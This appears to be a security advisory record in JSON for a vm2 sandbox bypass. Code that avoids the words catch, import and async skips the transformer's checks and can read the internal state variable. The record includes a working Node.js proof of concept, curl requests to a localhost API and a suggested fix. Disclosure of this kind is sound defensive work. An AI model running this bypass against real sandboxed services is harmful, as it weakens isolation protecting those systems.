{"id":"GHSA-wp5r-2gw5-m7q7","revision":"4d41cf1deac54767be96a69a7dee6799","records":[{"revision":"4d41cf1deac54767be96a69a7dee6799","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-wp5r-2gw5-m7q7","aliases":["CVE-2026-44003"],"title":"vm2's Transformer Fast-Path Bypass Exposes Internal State Variable","description":"### Summary\nvm2's code transformer has a performance optimization that skips AST analysis when the code does not contain `catch`, `import`, or `async` keywords. This fast-path bypass allows sandboxed code to directly access the internal `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` variable, which exposes internal security functions (`handleException`, `wrapWith`, `import`).\n\n### Details\nIn `lib/transformer.js:55-57`, a regex check `/\\b(?:catch|import|async)\\b/` determines whether AST transformation is needed. If the code does not contain any of these keywords, the transformer returns the code unmodified.\n\nWhen the fast-path is taken:\n1. **INTERNAL_STATE_NAME identifier check is bypassed**: The AST visitor that blocks access to `VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL` never runs\n2. **`with` statement instrumentation is bypassed**: `with()` statements are not wrapped with `wrapWith()`, enabling scope manipulation\n3. The internal state object exposes: `handleException(e)`, `wrapWith(x)`, `import(what)`\n\nWhile these methods are currently defensive utilities (not direct escape vectors), this represents a complete bypass of a security control. Any future addition of a sensitive method to the internal state object would be immediately exploitable.\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Access internal state (bypassed — no catch/import/async keywords)\nconst result = vm.run(`\n  var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n  Object.keys(x).join(\",\")\n`);\nconsole.log(result); // \"wrapWith,handleException,import\"\n\n// Control test — blocked when catch keyword is present\ntry {\n  vm.run(`\n    try {\n      var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL;\n    } catch(e) { e.message }\n  `);\n} catch(e) {\n  console.log(e.message); // \"Use of internal vm2 state variable\"\n}\n```\n\n**HTTP demonstration:**\n```bash\n# Internal state access (bypassed)\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; Object.keys(x).join(\\\",\\\")\"}'\n# Result: \"wrapWith,handleException,import\"\n\n# Control test — blocked when catch keyword is present\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { var x = VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL; } catch(e) { e.message }\"}'\n# Result: {\"errors\":[\"Use of internal vm2 state variable\"]}\n```\n\n**Suggested fix:**\n```javascript\n// transformer.js:55 — add 'with' keyword and INTERNAL_STATE_NAME check\nif (!/\\b(?:catch|import|async|with)\\b/.test(code) && code.indexOf(INTERNAL_STATE_NAME) === -1) {\n    return {__proto__: null, code, hasAsync: false};\n}\n```\n\n### Impact\n- **Security Control Bypass**: The INTERNAL_STATE_NAME access restriction is completely ineffective when the code avoids 3 specific keywords.\n- **Defense-in-Depth Violation**: Internal security functions are exposed, creating a latent attack surface for future code changes.\n- **Scope**: All applications using vm2. No special configuration required.","state":0,"publishedAt":"2026-05-07T04:32:56+00:00","modifiedAt":"2026-05-14T20:52:36.062511+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-wp5r-2gw5-m7q7","https://nvd.nist.gov/vuln/detail/CVE-2026-44003","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.0"],"sourceUrl":"https://github.com/advisories/GHSA-wp5r-2gw5-m7q7","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wp5r-2gw5-m7q7","identifiers":["GHSA-wp5r-2gw5-m7q7","CVE-2026-44003"]},"retained":false,"historicalAffected":[]}],"coverage":[]}